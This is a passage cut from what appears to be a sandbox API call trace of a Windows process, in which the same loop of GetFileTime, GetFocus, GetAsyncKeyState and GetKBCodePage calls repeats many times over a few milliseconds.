dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.135] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.135] GetFocus () returned 0x0 [0254.135] GetAsyncKeyState (vKey=58) returned 0 [0254.135] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.136] GetFocus () returned 0x0 [0254.136] GetAsyncKeyState (vKey=58) returned 0 [0254.136] GetKBCodePage () returned 0x1b5 [0254.136] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.137] GetFocus () returned 0x0 [0254.137] GetAsyncKeyState (vKey=58) returned 0 [0254.137] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.138] GetKBCodePage () returned 0x1b5 [0254.138] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.138] GetFocus () returned 0x0 [0254.138] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.139] GetKBCodePage () returned 0x1b5 [0254.139] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.139] GetFocus () returned 0x0 [0254.139] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.140] GetAsyncKeyState (vKey=58) returned 0 [0254.140] GetKBCodePage () returned 0x1b5 [0254.140] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.140] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.141] GetKBCodePage () returned 0x1b5 [0254.141] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.141] GetFocus () returned 0x0 [0254.141] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 0x1b5 [0254.142] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0254.142] GetFocus () returned 0x0 [0254.142] GetAsyncKeyState (vKey=58) returned 0 [0254.142] GetKBCodePage () returned 